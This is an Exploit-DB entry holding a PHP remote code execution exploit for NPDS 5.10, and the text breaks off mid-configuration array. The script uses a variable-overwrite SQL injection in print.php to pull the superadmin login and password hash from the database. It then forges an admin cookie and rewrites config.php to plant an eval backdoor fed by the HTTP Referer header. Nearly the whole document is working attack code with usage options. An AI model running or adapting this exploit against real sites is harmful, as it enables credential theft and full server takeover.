Exploit-DB #3505
Description: Net Portal Dynamic System (NPDS) 5.10 - Remote Code Execution (1)
Type: webapps
Platform: php
Date: 2007-03-18
Author: DarkFig

Exploit:
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);

# Advisory soon
if($argc < 3)
{
print("
  TITLE | Net Portal Dynamic System (NPDS) <= 5.10 Remote Code Execution 0day
 AUTHOR | DarkFig \/ http://www.acid-root.new.fr \/ gmdarkfig@gmail.com
   NOTE | Works regardless of php settings
  USAGE | $argv[0] -url <url> [Options]
OPTIONS | -proxy     If you wanna use a proxy <proxyhost:proxyport> 
        | -proxyauth Basic authentification <proxyuser:proxypwd>
");exit(1);
}

$url = getparam('url',1);
$pro = getparam('proxy');
$pra = getparam('proyauth');

$xpl = new phpsploit();
$xpl->agent('Mozilla Firefox');
if($pro) $xpl->proxy($pro);
if($pra) $xpl->proxyauth($pra);


# +print.php (SQL INJECTION)
# |
# 124. } elseif (!empty($lid)) {
# 125.  settype ($lid, "integer");
# 126.  PrintPage("links",$DB, $lid);
# 
# 30.  if ($oper=="links") {
# 31.  $result=mysql_query("select url, title, description, date from ".$DB."links_links where lid='$sid'");
# 32.  list($url, $title, $description, $time)=mysql_fetch_row($result);
# 40.  if ($DB) {
# 41.  $remp=meta_lang(aff_code(aff_langue(ob_get_contents())));
#
$aid = 'CONCAT(CHAR(66,69,71,73,78,85,83,82),(SELECT%20aid%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,85,83,82))';
$[CREDENTIAL_REDACTED](CHAR(66,69,71,73,78,80,87,68),(SELECT%20pwd%20FROM%20authors%20WHERE%20radminsuper=1),CHAR(69,78,68,80,87,68))';


# +grab_globals.php (VARS OVERWRITE / "url_protect" FILTER EVASION)
# |
# 78.  if (!empty($_GET)) {
# 79.  if (!$magicquotesGPC)
# 80.  array_walk($_GET,'addslashes_GPC');
# 81.  reset($_GET);
# 82.  array_walk($_GET,'url_protect');
# 83.  extract($_GET, EXTR_OVERWRITE);
#       
# 106. if (!empty($_COOKIE)) {
# 107. if (!$magicquotesGPC)
# 108. array_walk($_COOKIE,'addslashes_GPC');
# 109. reset($_COOKIE);
# 110. array_walk($_COOKIE,'url_protect');
# 111. extract($_COOKIE, EXTR_OVERWRITE);
#       
# 132. if (!empty($_FILES)) {
# 133. while (list($key,$value)=each($_FILES)) {
# 134. $$key=$value['tmp_name'];
# 135. }
#
$xpl->get($url."print.php?_FILES[DB][tmp_name]=links_links%20union%20select%20-1,$aid,$pwd,1%20ORDER%20BY%20url%23&lid=1");

if (preg_match("#BEGINUSR(.*)ENDUSR#",$xpl->getcontent(),$aid)
AND preg_match("#BEGINPWD(.*)ENDPWD#",$xpl->getcontent(),$pwd))
print "\nAdmin_aid: $aid[1]\nAdmin_pwd: $pwd[1]";
else die("Exploit failed");

# +auth.inc.php (ADMIN AUTH)
# |
# 59. if ($admin!="") {
# 60.  $Xadmin = base64_decode($admin);
# 61.  $Xadmin = explode(":", $Xadmin);
# 62.  $aid = urlencode($Xadmin[0]);
# 63.  $AI[CREDENTIAL_REDACTED][1];
# 64.  if ($aid=="" or $AIpwd=="") {
# 65.     Admin_Alert("Null Aid or Passwd");
# 66.  }
# 67. $result=mysql_query("select pwd, radminsuper from authors where aid='$aid'");
# 68. if (!$result) {
# 69.     Admin_Alert("DB not ready #2 : $aid / $AIpwd | ");
# 70.  } else {
# 71.    list($AIpass, $Xsuper_admintest)=mysql_fetch_row($result);
# 72.    if (md5($AIpass) == $AIpwd and $AIpass != "") {
# 73.       $admintest = true;
# 74.       $super_admintest = $Xsuper_admintest;
# 75.    } else {
# 76.       Admin_Alert("Password in Cookies not Good #1 : $aid / $AIpwd | ");
# 77.    }
# 78.  }
# 79.  unset ($AIpass);
# 80.  unset ($AIpwd);
# 81.  unset ($Xadmin);
# 82.  unset ($Xsuper_admintest);
# 83. }
#
$cok = urlencode(base64_encode($aid[1].':'.md5($pwd[1])));
$xpl->addcookie('admin',$cok);
print "\nAdmin_cookie: admin=$cok\n\$shell> ";


# +admin/settings.php (CODE EXECUTION)
# |
# 758. switch($op) {
# 763. case "ConfigSave":
# 764. include("admin/settings_save.php");
# 765. ConfigSave($xparse,$xsitename,$xnuke_url,$xsite_logo,$xslogan,$xstartdate,$xadminmail,
#      $xtop,$xstoryhome,$xoldnum,$xultramode,$xanonpost,$xDefault_Theme,$xbanners,$xmyIP,
#      $xfoot1,$xfoot2,$xfoot3,$xfoot4,$xbackend_title,$xbackend_language,$xbackend_image,
#      $xbackend_width,$xbackend_height,$xlanguage,$xlocale,$xperpage,$xpopular,$xnewlinks,
#      $xtoplinks,$xlinksresults,$xlinks_anonaddlinklock,$xnotify,$xnotify_email,$xnotify_subject,
#      $xnotify_message,$xnotify_from,$xmoderate,$xcommentlimit,$xanonymous,$xmaxOptions,$xBarScale,
#      $xsetCookies,$xtipath,$xuserimg,$xadminimg,$xadmingraphic,$xsite_font,$xadmart,$xminpass,
#      $xhttpref,$xhttprefmax,$xpollcomm,$xlinkmainlogo,$xstart_page,$xsmilies,$xOnCatNewLink,
#      $xEmailFooter,$xshort_user,$xgzhandler,$xrss_host_verif,$xcache_verif,$xmember_list,
#      $xdownload_cat,$xmod_admin_news,$xgmt,$xAutoRegUser,$xTitlesitename,$xfilemanager,
#      $xshort_review,$xnot_admin_count,$xadmin_cook_duration,$xuser_cook_duration,$xtroll_limit,
#      $xsubscribe,$xCloseRegUser,$xshort_menu_admin,$xmail_fonction,$xmemberpass,$xshow_user,
#      $xdns_verif,$xmember_invisible,$xavatar_size,$xlever,$xcoucher,$xmulti_langue,$xadmf_ext,
#      $xsavemysql_size,$xsavemysql_mode,$xtiny_mce);
# 766. break;
# 767. }
#
# +admin/settings_save.php
# |
# 142. function ConfigSave(...
# 212. $file = fopen("config.php","w");
# 401. $content .= "\$perpage = $xperpage;\n";
# 402. $content .= "\$popular = $xpopular;\n";...
# 614. fwrite($file, $content);
# 615. fclose($file);
#
$PHPCODE = 'if(isset($_SERVER[HTTP_REFERER])) eval($_SERVER[HTTP_REFERER])';


# Default config value
# You can get the config here ./admin.php?op=Configure
#
$config = array(
frmdt_url => $url.'admin.php',"xparse" => "1","xgzhandler" => "0","xfilemanager" => "0","xadmin_cook_duration" => "240",
"xuser_cook_duration" => "8000","xsitename" => "NPDS SABLE","xTitlesitename" => "NPDS - générateur de portail Php / Mysql en Open Source",
"xnuke_url" => "http://www.npds.org","xsite_logo" => "themes/Permanent-Double-Side/images/npds_p.gif","xslogan" => "NPDS SABLE",
"xstartdate" => "01/10/2005","xtop" => "10;$PHPCODE","xstoryhome" => "10","xoldnum" => "10","xultramode" => "1","xanonymous" => "Anonyme",
"xanonpost" => "0","xtroll_limit" => "6","xmod_admin_news" => "0